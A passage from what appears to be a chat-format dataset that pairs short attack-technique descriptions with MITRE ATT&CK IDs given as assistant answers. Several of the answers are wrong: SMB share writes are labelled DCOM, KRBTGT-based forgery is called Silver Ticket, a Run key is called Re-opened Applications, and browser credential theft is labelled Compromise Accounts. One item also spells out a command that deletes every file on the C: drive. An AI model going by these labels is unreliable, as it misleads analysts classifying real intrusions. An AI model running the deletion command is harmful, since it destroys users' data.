                "content": "The intrusion leverages LaunchAgents to run a background task that periodically syncs the Keychain contents to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious implant issues a WMI query that invokes the Win32_Service class to stop the \"BITS\" background transfer service."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries spawn a legitimate Windows process, suspend it, replace its memory sections with malicious code, and resume execution."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leveraged a phishing credential to access the Dropbox Business admin console and review shared folder permissions."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses DHCP request packets that seem normal but contain encoded exfiltration data in the options field."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a watering‑hole campaign and follows up with a phishing email that includes a fake login portal for the company's VPN, tricking employees into submitting their authentication details."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware compresses stolen files to reduce their size before sending them, staying under the network’s transfer size cap."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the registry key for Terminal Services DLLs, the adversary forces the system to load a malicious library on service start."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security analysts observed that the malicious payload was delivered via a compiled HTML Help file which leveraged powershell.exe invoked through a hidden rundll32.exe process."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script uses the SMB protocol to enumerate shares and write a payload to a writable share."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a Word macro-enabled template to modify the registry key for Office startup, ensuring the malicious macro executes each time Office launches."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious PowerShell script automates the retrieval of stored credentials from browsers and uploads them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker repeatedly invokes a remote procedure call (RPC) on a Windows service, causing the service to consume all available memory and crash, resulting in endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious HTML page leverages the Blob API to create a file from encoded data and triggers a download, allowing the attacker to smuggle a malicious executable onto the system."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor recycles a previously used YubiKey OTP credential to authenticate to privileged services after the original user is removed."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor creates a hidden launch agent plist in ~/Library/LaunchAgents on macOS for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages a WebRTC data channel, which includes built-in NAT traversal capabilities, to establish a covert channel through the victim's NAT firewall for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a known weakness in the system's sandbox, the malware breaks out and disables security logging to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the Windows Registry to set a new autorun entry that launches with SYSTEM rights."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following data exfiltration, the attackers executed a cleanup routine that stripped out all persistence components, such as service registrations and autostart executables."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor abuses a vulnerable Java servlet on a Tomcat server to execute arbitrary Java code."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By injecting a previously captured NTLM hash into an SMB session, the attacker authenticates as the original user."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑espionage group encrypts exfiltrated logs with a public key and transmits the ciphertext through a legitimate cloud API call, avoiding detection."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the ELF loader to load a malicious shared library instead of the legitimate one, achieving code execution during program start-up."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use API calls to public certificate transparency services to gather certificate details for domains of interest."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant calls the DirectShow API to start video capture without user consent and streams the stream to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs real‑time alteration of DNS queries to redirect traffic to malicious hosts, effectively manipulating the data transmitted."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the victim’s mail via the Exchange ActiveSync protocol, syncing messages to a hidden local directory for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a compromised RDP service to load a malicious server component DLL via the TermService service's binary path, achieving code execution."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a legitimate software update channel and replaces the update’s signature with a forged certificate."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits Kerberos by requesting service tickets for service accounts, then uses John the Ripper to crack the encrypted ticket hashes and obtain clear‑text passwords."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invoked the OpenStack Nova API to forcefully shut down and delete compute instances belonging to the target tenant."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses PowerShell cmdlets to retrieve entries from the Windows Security Event Log to identify recent logins."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a new process that appears as a child of explorer.exe, then removes the explorer.exe parent to conceal the malicious process."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a stolen OAuth refresh token to obtain new access tokens without user interaction."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker designed a trojan that masquerades as a legitimate PDF viewer to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows Credential Manager API to dump stored passwords and reuse them for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised admin credentials, the hacker modifies Group Policy to set a custom environment variable that points to a malicious payload directory."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set uses Right-to-Left Override characters in command-line arguments to mask the true commands being executed, evading detection by log parsers."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging a previously harvested KRBTGT hash, the threat actor forges service tickets that allow them to impersonate any service account without contacting the KDC."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group creates a multi-hop proxy through a sequence of compromised proxies, each adding a layer of anonymity."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script was deployed to crawl the victim's public API endpoints, retrieving user profile data such as display names, email addresses, and location details."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group intercepts DNS query responses and modifies them, redirecting traffic to a malicious server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary configures a scheduled task that creates a persistent domain account each reboot."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers rename a malicious file to match a common system binary name and place it in a location that is searched before the actual system directory."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows Admin Shares (C$) to drop and run binaries on remote computers."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses Mimikatz to dump the KRBTGT hash and then builds forged Kerberos tickets to authenticate to a SQL Server service without detection."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employed the Regsvr32 system binary to proxy execution of a weaponized DLL, avoiding detection by standard AV."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider replaces the signed driver used by a security client with a compromised version to disable defenses."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding an entry to the 'Run' key that points to the harmful application, making it reopen after each reboot."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exploits Pass-the-Hash to authenticate to other systems using stolen credential hashes."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a rootkit that intercepts and discards command execution logs, preventing any record of their actions."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group leverages the network device command line to download and execute a malicious binary on an industrial control system."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan issued 'attrib -h -s -r /s /d C:\\*.* & del /f /s /q C:\\*.*' to delete all files on the C: drive."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor accessed a network attached storage device, copied log files, and transmitted them via an SSH tunnel."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware accesses Firefox's key4.db and logins.json files to retrieve stored website credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the Office Add-in Store to distribute a malicious add‑in that executes on user login."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware edits the Winlogon \"Userinit\" value to include a path to a malicious helper DLL."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor employs Google dorking techniques to locate exposed configuration files on public websites."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker edits /etc/rc.local to invoke launchctl to start a malicious daemon at boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a custom DNS TXT record lookup to fetch encoded instructions from the attacker."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts password policy details by reading the registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses Unicode homoglyphs and whitespace injection to split command keywords, bypassing simple pattern matching."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script compresses and symmetrically encrypts files before uploading them to a public cloud storage bucket via an unauthenticated HTTP POST."
            },
            {
                "role": "assistant",
                "content": "T1048.001 - Exfiltration Over Alternative Protocol: Exfiltration Over Symmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts configuration files from the infected host's registry and local files for further analysis."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script repeatedly invokes a vulnerable function in a desktop client, causing CPU spikes that lead to an endpoint denial‑of‑service."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a shared module on a network share, inserting a malicious function that is invoked by any client that accesses the share."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sets up a reverse SSH tunnel to bypass the firewall and maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a malicious .bat file and uses the Windows \"at\" command to schedule it for execution every hour, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping module targets the proc filesystem, pulling secret keys from /proc/[pid]/fd files."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the adversary executed a script that retrieved the list of attached Bluetooth devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a specially crafted PowerPoint file that triggers a hidden DLL execution as soon as the presentation is opened."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary stops the auditd service and removes its configuration files to prevent logging of malicious activity on the compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1562.012 - Impair Defenses: Disable or Modify Linux Audit System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a malicious .plist file in the user's ~/Library/LaunchAgents directory to have a custom backdoor binary executed each time the victim logs into their macOS account."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted network packet, the attacker compels a client to perform an NTLM authentication handshake with a malicious server under the attacker's control."
            },
            {
                "role": "assistant",
